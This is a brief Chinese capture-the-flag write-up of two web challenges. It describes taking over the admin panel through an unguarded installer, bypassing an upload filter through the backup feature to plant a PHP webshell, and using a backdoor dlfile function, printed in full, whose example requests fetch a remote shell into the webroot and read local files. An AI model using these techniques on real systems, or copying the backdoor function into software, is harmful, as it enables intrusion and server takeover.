粤湾期货
- 首先直奔
install.php
发现源码中并没有做出重装限制,并且在config.php
可以知道数据库和账号密码直接重装系统拿下后台。 - 拿下后台发现系统设置处可以修改上传文件类型。
- 但是加入php后缀你发现会将phpt替换为X,从源码中可有很直观看到这点。
- 此时毫无头绪,代码审计数量太大,所以黑盒测试一下,发现数据备份处可以执行sql语句。本以为可以直接写文件,但是失败了,联想到上面上传文件后缀我们可以直接在备份文件里面修改后缀是PHP,最后直接getshell即可。
- 导入备份后发现设置中的上传后缀有php
- 直接上传php文件直接getshell
粤湾基金
/index.php/home/test存在一处后门直接可getflag
// /Home/Test/dlfile?file_url=http://xxxx/shell.txt&save_to=/var/www/html/shell.php
///Home/Test/dlfile?file_url=file:///flag&save_to=/var/www/html/1.txt
// 下载图片
public function dlfile($file_url, $save_to)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_POST, 0);
curl_setopt($ch,CURLOPT_URL,$file_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$file_content = curl_exec($ch);
curl_close($ch);
$downloaded_file = fopen($save_to, 'w');
fwrite($downloaded_file, $file_content);
fclose($downloaded_file);
}